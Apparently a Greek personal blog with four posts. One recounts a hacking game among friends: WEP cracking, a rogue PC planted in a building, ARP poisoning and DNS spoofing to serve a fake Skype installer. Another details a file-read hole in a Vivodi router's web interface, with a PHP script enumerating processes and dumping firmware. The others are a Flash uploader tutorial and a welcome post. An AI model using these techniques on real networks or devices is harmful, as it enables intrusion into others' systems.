Το χρονικό ενός Wargame

May 23rd, 2010 Petros Aggelatos 12 comments

Computer Wargame: Παιχνίδι μεταξύ hackers με σκοπό να αποκτήσει ο ένας πλήρη πρόσβαση στον υπολογιστή στου άλλου.

Εκδοχή Kamibu: Να κάνεις τον υπολογιστή του άλλου να εμφανίσει πράσινη οθόνη και να γράφει «PWND by …». Κάθε μέθοδος επιτρέπεται.

Παίκτες:

Έναρξη: 19 Φεβρουαρίου 2010

Λήξη: 20 Μαΐου 2010

19 Φεβρουαρίου 2010 17.30

Ο Αλέξης χάνει από τον εμένα και τον Διονύση. Χρησιμοποιήσαμε ένα flash application το οποίο εμφανίζει fullscreen το μήνυμα. Οι υπόλοιποι είναι προστατευμένοι χρησιμοποιώντας το “DisableFullscreen = 1” στο mms.cfg του Flash.

7 Μαϊου 2010 18.30

Ο Chorvus χάνει από τον Διονύση. Ο Διονύσης πείθει τον Chorvus να παίξουν Age of Empires και να στήσουν VPN έτσι ώστε να παίξουν σε τοπικό δίκτυο. Βρίσκει τον κωδικό του Chorvus από το Zino ο οποίος ήταν ο ίδιος με το PC του. Αποκτά πρόσβαση στον σκληρό του Chorvus μέσω της κοινής χρήσης αρχείων, έχοντας δικαιώματα τοπικού δικτύου και τον κωδικό, και αλλάξει το executable του παιχνιδιού που ήταν στο C:\Games\.

20 Μαΐου 2010

Ο Διονύσης χάνει από εμένα και τον Chorvus. Πως; Ιδού:

Flashback: 22 Φεβρουαρίου 2010

Chorvus: ψήνεσαι να πάμε κάτω από το σπίτι του dio και να κάνουμε pen test το wifi του;
Chorvus: :P
Chorvus: θα είμαι Αθήνα το σ/κ
Πέτρος: Actually this is my plan :P
Chorvus: (rofl)
Πέτρος: Αν δεν έχει αλλάξει τον κωδικό του Wifi τον ξέρω
Πέτρος: οκ, it’s a deal
Πέτρος: :P
Chorvus: αν τον έχει αλλάξει αναλαμβάνω με aircrack-ng
Πέτρος: Δεν θα πιάνει κάτω, μένει ρετιρέ
Πέτρος: Θα μπούμε μέσα
Πέτρος: ξερω
Chorvus: θα φέρω το lenovo 13.3

Πριν χάσει ο Chorvus συζητάγαμε μαζί για το πως θα μπορούσαμε να νικήσουμε τον Διονύση. Θυμόμουν ότι στο σπίτι του έχει Wifi με κρυπτογράφηση WEP, η οποία σπάει σε μερικά λεπτά με την κατάλληλη τεχνική και εργαλεία. Ύστερα αφού θα είχαμε μπει στο δίκτυό του θα γινόμασταν Man In The Middle στο traffic του Διονύση χρησιμοποιόντας ARP Poisoning και θα του λέγαμε να κατεβάσει κάποιο executable το οποίο θα αντικαθιστούσαμε με κάποιο δικό μας.

Οπότε όταν ήρθε για 3 μέρες Αθήνα τον φιλοξένησα. Αποφασίσαμε να πάμε κοντά στο σπίτι του και να σπάσουμε το Wifi του. Ο Διονύσης μένει στον τελευταίο όροφο της πολυκατοικίας του οπότε για να είμαστε στην εμβέλεια του δικτύου του έπρεπε να μπούμε μέσα στην πολυκατοικία. Θυμόμουν ότι όπως ανεβαίνεις τις σκάλες για να βγεις στην ταράτσα του έχει ένα δωματιάκι μέσα στο οποίο είναι το μοτέρ του ασανσέρ. Το τέλειο μέρος για να κάνουμε την επίθεση. Στο δωμάτιο αυτό είχε και μία πρίζα. Θα αφήναμε εκεί ένα PC το οποίο θα συνδεόταν στο δίκτυο του Διονύση και θα το ελέγχαμε μέσω Reverse SSH Tunnel.

Χρησιμοποιήσαμε ένα PC χαμηλών δυνατοτήτων της Vivodi το οποίο ήταν για την υπηρεσία της CableTV. Είχε 733MHz CPU, 128MB RAM, 128MB HDD, 2 x USB 1.1, 2 x Ethernet και ήταν μικρό και αθόρυβο. Στήσαμε Slitaz, ένα mini distro, του βάλαμε ένα USB Wifi Interface και το φτιάξαμε να συνδέεται στο δίκτυο του Διονύση και να κάνει το SSH Tunnel.

Ξεκινήσαμε λοιπόν ένα απόγευμα και πήγαμε. Για να μπούμε χτυπήσαμε ένα κουδούνι στην τύχη και είπαμε στο θυροτηλέφωνο “Διονύσης”, αν και αργότερα ανακάλυψα ότι η πόρτα άνοιγε και με τηλεκάρτα. Ανεβήκαμε κανονικά και πήγαμε στο δωματιάκι. Όμως τελικά δεν είχε πρίζα για να βάλουμε το PC, η μνήμη μου με εξαπάτησε. Συνεχίσαμε όμως να μαζέψουμε ό,τι πληροφορίες μπορούσαμε. Ο Chorvus άνοιξε το λάπτοπ του και μετά από λίγη ώρα δουλειάς του Aircrack είχαμε τον κωδικό του Wifi του. Ύστερα χρησιμοποιήσαμε το Cain & Abelγια το ARP Poisoning και κάναμε όλο το traffic του Διονύση να περνάει από το laptop του Chorvus. Τελικά δε βρήκαμε κάτι παραπάνω από τον κωδικό του Wifi του και φύγαμε.

Μερικές μέρες πριν χάσει

Ο Chorvus χάνει και αποφασίζουμε να ξαναπροσπαθήσουμε για να νικήσουμε τον Διονύση. Όμως δε μπορεί να ξανακατέβει Αθήνα οπότε αναλαμβάνω δράση. Το δωματιάκι δεν είχε πρίζα. Είχε όμως ένα παλιό ντουί χωρίς λάμπα που δε ξέραμε αν είχε καν ρεύμα. Το σχέδιο ήταν το εξής. Θα ξαναέστηνα καλύτερα το PC έτσι ώστε να είναι robust και θα το τροφοδοτούσα από το ντουί.

Με τα 128ΜΒ δίσκο που είχε ήταν πολύ δύσκολο να στήσεις ένα σύστημα με τα απαραίτητα εργαλεία καθώς το κάθε mini distro έχεις τις ιδιαιτερότητές του. Οπότε χρησιμοποίησα μία θήκη εξωτερικού σκληρού δίσκου από την οποία πήρα την πλακέτα τροφοδοσίας, καθώς η Motherboard του PC δεν είχε έξοδο τροφοδοσίας, και άλλαξα το 128MB IDE Flash Module με έναν δίσκο 200GB. Στη συνέχεια κατέβασα τα Ubuntu Server Edition και μετά από 2 προσπάθειες δούλευαν κανονικά. Επίσης εγκατέστησα και ένα μεγαλύτερο ανεμιστήρα καθώς ο έξτρα δίσκος σε τόσο περιορισμένο χώρο ανέβαζε αρκετά τη θερμοκρασία.



Για την τροφοδοσία του συστήματος από το ντουί έκανα το εξής. Πήρα μία λάμπα, την έσπασα και πήρα το κάτω μέρος που κουμπώνει στο ντουί. Εκεί κόλλησα 2 καλώδια τα οποία κατέληγαν σε μία θηλυκή πρίζα και ύστερα έκανα τις κατάλληλες μονώσεις.

Μερικές ώρες πριν χάσει

Στις 6.30 το απόγευμα πήγα με ένα φίλο μου στο σπίτι του Διονύση μαζί με το PC, το Laptop, πολύμετρο και ηλεκτρολογικό κατσαβίδι. Μπήκαμε σαν κύριοι και ανέβηκα στο δωματιάκι. Αρχικά σύνδεσα το καλώδιο ντουι→πρίζα και τσέκαρα με το κατσαβίδι αν το ντουί είχε ρεύμα. Είχε. Άνοιξα τον διακόπτη και σύνδεσα πάνω τον μετασχηματιστή του laptop μου, τον μετασχηματιστή του PC και τον μετασχηματιστή του δίσκου. Έκλεισα τον διακόπτη και ακούστηκε *ΤΣΑΦ*. Στην αρχή νόμιζα ότι κάηαν όλα αλλά ευτυχώς το σύστημα είχε δουλέψει. Είχα ρεύμα! Άνοιξα το PC το σύνδεσα στο δίκτυου του Διονύση με το WEP Key που ήδη ήξερα και το έβαλα να συνδέεται σε έναν server με SSH. Επίσης σε περίπτωση που έπεφτε το internet/wifi του Διονύση έκανε επανασύνδεση όταν ήταν και πάλι διαθέσιμο. Τα άφησα εκεί και γύρισα σπίτι.



Είπα στον Chorvus ότι όλα ήταν ΟΚ και άρχισε να φτιάχνει το executable που θα σερβίραμε στον Διονύση. Θα του αλλάζαμε τη σελίδα του skype.com και όταν θα κατέβαζε το Skype Beta 5 στην πραγματικότητα θα κατέβαζε το δικό μας executable το οποίο ήταν ίδιο μέγεθος και με ίδιο εικονίδιο/version info. Το μόνο που του έλλειπε ήταν το Digital Signature. Έφτιαξε το executable και ταίριαξε το μέγεθος βάζοντας στο τέλος του “PWNDPWNDPWND…..”. Σε έναν server έφτιαξα ένα Virtual Host για το download.skype.com και βάλαμε εκεί τα αρχεία. Το μόνο που χρειαζόταν ήταν να αλλάξουμε την απάντηση στο DNS Query που θα έκανε ο Διονύσης όταν θα πήγαινε να το κατεβάσει.

petros@europa:~$ cat /etc/apache2/sites-available/skype.com
<VirtualHost *:80>
        ServerName download.skype.com
        DocumentRoot /var/www/skype.com/html/
        ServerAdmin ch-world@kamibu.com
        CustomLog /var/log/apache2/skype.log common
</VirtualHost>

<VirtualHost *:80>
        ServerName skype.com
        DocumentRoot /var/www/skype.com/html/
        ServerAdmin ch-world@kamibu.com
        CustomLog /var/log/apache2/skype.log common
        RedirectMatch (^/(.*)) http://www.skype.com$1
</VirtualHost>
petros@europa:~$ ls /var/www/skype.com/html/
SkypeSetup.exe  SkypeSetupFull-Beta.exe  index.html
petros@europa:~$

Για να το κάνω αυτό εγκατέστησα στο PC το ettercap έχοντας συνδεθεί στο PC μέσω του SSH Tunnel. Το ettercap κάνει ARP Poisoning μεταξύ άλλων και έχει και κάποια φίλτρα τα οποία εφαρμόζονται στο traffic που περνάει μέσα από αυτό. Ένα από τα φίλτρα ήταν το DNS Spoof. Του ρύθμισα το download.skype.com να κάνει resolve στον δικό μας server και ξεκίνησα το ARP Poisoning. Για τον Διονύση όλα δουλεύουν κανονικά, μόνο που το traffic του internet του περνάει από ένα τρίτο μηχάνημα.

Όλα ήταν έτοιμα…

Μερικά λεπτά πριν χάσει

Πέτρος: Είδες το Skype 5?
Πέτρος: Έχει γαμάτο interface για βίντεο
Πέτρος: Να το βάλουμε zino
Dionysis: για να δω περίμενε
Πέτρος: Το δες;
Dionysis: τώρα κατεβαίνει
Πέτρος: οκ
Dionysis: nice
Πέτρος: Τι;
Dionysis: έχασα
Πέτρος: xaxaxaxaxaxaxa


Categories: Hacking Tags:

Χακάροντας το Tilgin Vood 452w router της Vivodi

January 22nd, 2010 Petros Aggelatos 3 comments

Την ημέρα που βάλαμε vivodi και μας έφεραν τον εξοπλισμό αμέσως ξεκίνησα να τον σεττάρω παρόλο που μας είχαν πει ότι θα έρθει τεχνικός. Επίσης καινούριο για τότε που το βάλαμε ήταν ότι το τηλέφωνο ήταν VoIP και έπρεπε να συνδέσω τις τηλεφωνικές συσκευές πάνω στο router. Τελικώς δεν κατάφερα να το σετάρω.

Είχα μεγάλη απορία να δω τι θα έκανε ο τεχνικός όταν θα ερχόταν. Τελικά όταν ήρθε απλά σύνδεσε το router στην πρίζα τηλεφώνου, του έκανε reset και απλά περίμενε. Το router δια μαγείας είχε πάρει όλες τις ρυθμίσεις για internet τηλέφωνα και ήταν έτοιμο για λειτουργία. Αυτό σήμαινε ότι όταν δοκίμαζα εγώ απλά δεν είχαν ενεργοποιήσει τις ρυθμίσεις στους server της vivodi.

Μπαίνοντας στο μενού του router αφού είχε πάρει τις ρυθμίσεις παρατήρησα ότι κάποια tabs έλειπαν, όπως το VOIP και το SWITCH. Επίσης έλειπαν κάποιες ρυθμίσεις από τα tab που είχαν μείνει. Ως περίεργος που είμαι ξεκίνησα το ταξίδι μου να βρω τις ρυθμίσεις που τόσο καλά κρύβει η vivodi….

Αρχικά άνοιξα το router να δω τι έχει μέσα. Το πιο ενδιαφέρον από όλα ήταν κάποια pins τα οποία με μία μικρή έρευνα στο internet είδα ότι ήταν σειριακό Interface, οπότε με ένα σειριακό καλώδιο και έναν υπολογιστή θα είχα πρόσβαση στο σύστημα του router που παρεπιπτώντως τρέχει MontaVista Linux. Όμως ένα εμπόδιο στάθηκε στον δρόμο μου. Το router χρησιμοποιούσε TTL logic, δηλαδή το λογικό 0 αντιστοιχούσε στα 0-0.8Volts και το λογικό 1 στα 2.2-3Volts ενώ το pc αντιστοιχούσε το λογικό 0 στο +5Volts και το λογικό 1 στο -5V. Συνεπώς χρειαζόμουν ένα ενδιάμεσο κύκλωμα που θα φροντίζει να μεταφράζει τα σήματα από και προς τις δύο συσκευές. Το κύκλωμα αυτό δεν το έφτιαξα ποτέ, ίσως στο μέλλον. Για όποιον ενδιαφέρεται είναι αυτό εδώ το chip http://www.educalc.net/2146080.page .

Συνεχίζοντας το ψάξιμο για να μπω στην συσκευή ανακάλυψα ότι στο web interface του router υπάρχει ένα bug. Και το bug αυτό ήταν στην GET μεταβλητή getpage της σελίδας http://xxx.xxx.xxx.xxx/cgi-bin/webcm?getpage= . Βάζοντας στο getpage ένα οποιοδήποτε path αρχείου που έχει read access ο webserver το επέστρεφε κανονικά. Βάζοντας getpage=/proc/cpuinfo και /proc/version βρήκα τι linux έτρεχε (MontaVista με 2.4 kernel) και τι CPU είχε (MIPS 4KEc V4.8).

Όμως για κακή μου τύχη δεν μπορούσα να κάνω directory listing με αποτέλεσμα να ψάχνω στα τυφλά. Όχι και τόσο τυφλά όπως θα αποδειχθεί πιο κάτω. Το μεγάλο μου πλεονέκτημα ήταν ότι μπορούσα να χρησιμοποιήσω το proc για να πάρω πληροφορίες για το σύστημα και τα πράγματα τα οποία έτρεχε. Ξέροντας ότι στον φάκελο /proc υπάρχει ένας φάκελος με όνομα το ProcessID από κάθε process που τρέχει άρχισα να ψάχνω τι τρέχει. Από το /proc/stat βρήκα το μέγιστο ProcessID και μετά με ένα απλό script σε php ήξερα τι τρέχει μέσα στο router.

<?php

$url = "http://192.168.1.1/cgi-bin/webcm?getpage=/proc/stat";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true );
$maxproc = curl_exec($ch);
curl_close($ch);

$maxproc = explode( "processes ", $maxproc );
$maxproc = $maxproc[1];

for( $procid = 1; $procid <= $maxproc; ++$procid ){
 $url = "http://192.168.1.1/cgi-bin/webcm?getpage=/proc/" . $procid . "/status";
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true );
 $name = curl_exec($ch);
 curl_close($ch);
 $name = explode( "State", $name );
 $name = $name[ 0 ];

 $url = "http://192.168.1.1/cgi-bin/webcm?getpage=/proc/" . $procid . "/cmdline";
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true );
 $cmd = curl_exec($ch);
 curl_close($ch);

 if( $name != ""  || $cmd !=""){
 echo "$procid $name $cmd\n";
 }
}

?>

Το αποτέλεσμα έδειξε ότι τρέχει τα εξής:

1 Name:    init
init
2 Name:    keventd

3 Name:    ksoftirqd_CPU0

4 Name:    kswapd

5 Name:    bdflush

6 Name:    kupdated

7 Name:    mtdblockd

26 Name:    voip_control
/usr/bin/voip_control
47 Name:    sh
/bin/sh
48 Name:    factreset
factreset
49 Name:    remoteupdate
remoteupdate
57 Name:    thttpd
/usr/local/sbin/thttpd-d/usr/local/www-uroot-p80-c/cgi-bin/*|/vood/cgi-bin/*.cgi-nos-i/var/run/thttpd.pid
65 Name:    stat
stat172.17.255.20
77 Name:    cm_pc
cm_pc
87 Name:    cm_logic
/usr/bin/cm_logic-c/etc/config.xml
111 Name:    snmpd
/usr/local/sbin/snmpd
191 Name:    udhcpc
/usr/sbin/udhcpc-inas1-x
197 Name:    pppd
/usr/sbin/pppdpluginpppoa8.35user*****password*****nodetachusepeerdnsmru1492maxfail10vc-encapsqosUBRdebuglcp-echo-failure10lcp-echo-interval60
235 Name:    pppd
/usr/sbin/pppdpluginpppoa8.36user*****password*****nodetachdefaultrouteusepeerdnsmru1492maxfail10vc-encapsqosUBRdebuglcp-echo-failure10lcp-echo-interval60
335 Name:    voip
voip
433 Name:    wpa_authenticat
/usr/sbin/wlan/wpa_authenticator
443 Name:    udhcpd
/usr/sbin/udhcpd/var/tmp/udhcpd.conf
490 Name:    msntp
/sbin/msntp-r2-t5-p30-s0.0.0.00.0.0.00.0.0.0

Μετά από αυτό είχα αρκετά αρχεία να πάρω μέσω του getpage όπως το /etc/config.xml, /usr/sbin/udhcpd/var/tmp/udhcpd.conf και λοιπά. Αυτό που βρήκα ήταν ότι το username για να κάνω την δεύτερη σύνδεση για VoIP ήταν το ίδιο με το κανονικό αλλά με ένα “_vs” στο τέλος και password το ίδιο και γινόταν με ρύθμιση του VPI/VCI στο 8/36.

Συνεχίζοντας το ψάξιμο του proc για στοιχεία άνοιξα το αρχείο /proc/mounts. Το οποίο μου αποκάλυψε τις συσκευές στο /dev που είχαν γίνει mount. Ήταν τα εξής:

/dev/mtdblock/4 / squashfs ro 0 0
none /dev devfs rw 0 0
proc /proc proc rw 0 0
ramfs /var ramfs rw 0 0
/dev/mtdblock/5 /usr/local squashfs ro 0 0

Το οποίο σήμαινε ότι εκτός από τα mtdblock 5 και 4 υπήρχαν και άλλα. Το mtdblock σήμαινε ότι χρησιμοποιεί MTD, άρα επόμενο είναι να δω τι υπάρχει στο /proc/mtd. Και ιδού:

dev:    size   erasesize  name
mtd0: 00002000 00002000 "boot0"
mtd1: 00002000 00002000 "id"
mtd2: 00002000 00002000 "reboot log"
mtd3: 00010000 00010000 "boot1"
mtd4: 001d0000 00010000 "rootfs"
mtd5: 001d0000 00010000 "appfs"
mtd6: 00010000 00010000 "msg_A"
mtd7: 00010000 00010000 "msg_B"
mtd8: 00010000 00010000 "cfg_0"
mtd9: 00010000 00010000 "cfg_1"

Όλα και όλα ήταν 9. Στην συνέχεια δοκίμασα να βάλω στο getpage το /dev/mdtblock/4, το οποίο σύμφωνα με το /proc/mounts ήταν το root. Ο browser μου επέστρεψε ένα περίεργο κείμενο με ακαταλαβίστικους χαρακτήρες και αρκετά μεγάλο (~2ΜΒ). Στην αρχή υπήρχαν τα γράμματα hsqs. Αυτά ήταν το MAGIC του αρχείου. Ψάχνοντας στο google είδα ότι αυτό ήταν ένα SquashFS filesystem. Από τον Firefox έκανα αποθήκευση ως και πήρα σε ένα αρχείο το rootfs. Εκεί μέσα ήταν όλες οι πληροφορίες που ήθελα. Έκανα το ίδιο και μετα υπόλοιπα mdtblock με αποτέλεσμα να έχω πάρει ένα image του flash disk του router. Το μόνο που έμενε ήταν να τα κάνω mount ή unsquashfs για να δω τα περιεχόμενά τους.

Καθώς δεν είχα squashfs tools τα έβαλα μέσω του apt package system με sudo apt-get install squashfs-tools. Ύστερα πήγα στον φάκελο με τα images που πήρα από το router για να τα ανοίξω. Άρχισα από το 8, το οποίο ήταν το cfg0.

petros@petros-laptop:~/work/Vivodi_Router_Hack/mtdblock$ unsquashfs cfg0

created 11 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos

Όλα δούλεψαν ρολόι. Το πρόβλημα εμφανίστηκε όταν πήγα να κάνω το ίδιο και με το mtdblock4 και 5 που ήταν το rootfs και appfs.

petros@petros-laptop:~/work/Vivodi_Router_Hack/mtdblock$ unsquashfs rootfs
sqlzma_un: ZLIB data error
Aborted

Παραξενευμένος έκανα “file cfg0″ και “file rootfs” για να δω τι διαφορά είχαν. Σύμφωνα με αυτό το rootfs ήταν SquashFS 1.1 ενώ το cfg0 ήταν SquashFS 1.0. Περίεργα πράματα. Έκανε extract το 1.0 και όχι το 1.1. Διαβάζοντας για το squashfs στο internet είδα ότι οι παλιές version χρησιμοποιούσαν άλλον αλγόριθμο από τις σημερινές και έπρεπε να κάνεις μόνος σου compile τα εργαλεία αφού τους είχες εφαρμόσει ένα patch για να το κάνεις να δουλέψει. Αυτό όλο περιγράφεται εδώ http://www.squashfs-lzma.org/ . Επίσης αναφέρει ότι αυτό το patched version το έχει το slax linux. Έφυγα για ένα Slax LiveCD λοιπόν να δοκιμάσω την τύχη μου. Όμως η τύχη δεν ήταν μαζί μου. Ακόμα και μέσα από το Slax έβγαζε το ίδιο ακριβώς σφάλμα.

Εδώ θα τελειώσει το ταξίδι μας. Στόχος είναι να καταφέρω να διαβάσω τα περιεχόμενα του rootfs έτσι ώστε να δω πως δουλεύει το συγκεκριμένο router και τι ρυθμίσεις έχει. Σε περίπτωση που αποτύχω κατά πάσα πιθανότητα θα κατασκευάσω το κύκλωμα για να συνδεθώ με σειριακό interface. Καλό hacking σε όλους ;)

Ανέβασμα αρχείων με Flash

December 28th, 2009 Petros Aggelatos 2 comments

Το πλεονέκτημα του ανεβάσματος αρχείων μέσω flash σε έναν web server γίνεται φανερό όταν κάποιος θέλει να ανεβάσει μία ομάδα αρχείων. Με την συμβατική μέθοδο αν κάποιος ήθελε να επιλέξει 10 αρχεία θα του έπαιρνε 3 κλικ ανά αρχείο (browse.., select, open) και 30 κλικ συνολικά. Με το flash θα του πάρει μόλις 4 κλικ. Δεύτερο και σημαντικό πλεονέκτημα είναι το οπτικό feedback που μπορεί να δώσει στον χρήστη με μία μπάρα προόδου, στις οποίες έχει συνηθήσει να βλέπει όταν κάνει μία εργασία από το λειτουργικό του σύστημα.

Αρχικά ας πούμε ποιες κλάσσεις θα χρειαστούμε για να φτιάξουμε ένα λειτουργικό uploader. Θα χρειαστούμε τις: FileReference, FileReferenceList και διάφορα events. Το πρώτο στάδιο είναι να φτιάξουμε ένα έγγραφο flash που να έχει ένα κουμπί το οποίο όταν πατιέται να ανοίγει το παράθυρο διαλόγου επιλογής αρχείων. Αυτό είναι απαραίτητο καθώς δεν γίνεται να ανοίξει το παράθυρο χωρίς κάποια ενέργεια του χρήστη (κλικ, πάτημα πλήκτρου) όπως υπαγορεύει το flash security sandbox. Ορίζω λοιπόν την κλάσση του εγγράφου σε “FileUploader” και στο αρχείο FileUploader.as γράφω:

package {
    import flash.net.*;
    import flash.events.*;

    public class FileUploader extends MovieClip {
        private var files:FileReferenceList = new FileReferenceList();

        public function FileUploader() {
            //create button and progress bar
            AttachEvents();
        }

        private function ButtonClickHandler( event ){
            files.browse();
        }

        private function FileSelectHandler( event ){
            //Upload Files
        }

        private function AttachEvents(){
            btn.addEventListener( MouseEvent.CLICK, ButtonClickHandler );
            files.addEventListener( Event.SELECT, FileSelectHandler );
        }
    }
}

Τώρα θέλουμε όταν γίνεται το upload να γεμίζει μία μπάρα προόδου. Για να γίνει αυτό θα χρησιμοποιήσω το ProgressBar component. Για να μπορέσω να το χρησιμοποιήσω θα πρέπει πρώτα να το έχω βάλει στο library του αρχείου μου σέρνοντάς το από το Compoment menu (Control+F7). Επίσης από το Component menu θα πάρω το Button component. Οπότε ο κώδικας θα γίνει ως εξής:

package {
    import flash.net.*;
    import flash.events.*;
    import fl.controls.*;
    import flash.display.*;

    public class FileUploader extends MovieClip {
        private var files:FileReferenceList = new FileReferenceList();
        private var btn:Button = new Button;
        private var bar:ProgressBar = new ProgressBar;
        private var req:URLRequest = new URLRequest;

        public function FileUploader() {
            btn.width = 150;
            btn.height = 25;
            btn.label = "Select Files";
            bar.width = 150;
            bar.height = 25;
            bar.y = 25;
            stage.addChild( btn );
            stage.addChild( bar );
            AttachEvents();
            req.url = "http://www.example.com/upload.php";

        }

        private function ButtonClickHandler( event ){
            files.browse();
        }

        private function FileSelectHandler( event ){
            if( files.fileList.length == 0 ){ //No files in queue
               btn.label = "Done";
               return;
            }
            var file = files.fileList.pop();
            bar.source = file;
            btn.label  = "Uploading " + file.name;
            file.upload( req );
            file.addEventListener( Event.COMPLETE, FileSelectHandler ); //A little hack to loop through all files
        }

        private function AttachEvents(){
            btn.addEventListener( MouseEvent.CLICK, ButtonClickHandler );
            files.addEventListener( Event.SELECT, FileSelectHandler );
        }
    }
}
package {
import flash.net.*;
import flash.events.*;
import fl.controls.*;
import flash.display.*;public class FileUploader extends MovieClip {
private var files:FileReferenceList = new FileReferenceList();
private var btn:Button = new Button;
private var bar:ProgressBar = new ProgressBar;
private var req:URLRequest = new URLRequest;

public function FileUploader() {
btn.width = 150;
btn.height = 25;
btn.label = “Select Files”;
bar.width = 150;
bar.height = 25;
bar.y = 25;
stage.addChild( btn );
stage.addChild( bar );
AttachEvents();
req.url = “http://www.example.com/upload.php”;

}

private function ButtonClickHandler( event ){
files.browse();
}

private function FileSelectHandler( event ){
if( files.fileList.length == 0 ){ //No files in queue
btn.label = “Done”;
return;
}
var file = files.fileList.pop();
bar.source = file;
btn.label  = “Uploading ” + file.name;
file.upload( req );
file.addEventListener( Event.COMPLETE, FileSelectHandler ); //A little hack to loop through all files
}

private function AttachEvents(){
btn.addEventListener( MouseEvent.CLICK, ButtonClickHandler );
files.addEventListener( Event.SELECT, FileSelectHandler );
}
}
}

Hello world!

December 24th, 2009 Petros Aggelatos 3 comments

Χαίρε κόσμε, ή αλλιώς Hello world! Το πρώτο μου post είναι γεγονός. Σε αυτό το blog θα γράφω σχετικά με τις καθημερινές τεχνολογικές μου περιπτύξεις αλλά και με άλλα, γενικότερου περιεχομένου, θέματα. Υπομονή για το πρώτο μου post που θα αφορά την επεξεργασία και ανέβασμα φωτογραφιών μέσω Adobe Flash. Μέχρι τότε θα είμαι διαθέσιμος στο petros@kamibu.com.

Categories: Uncategorized Tags: , ,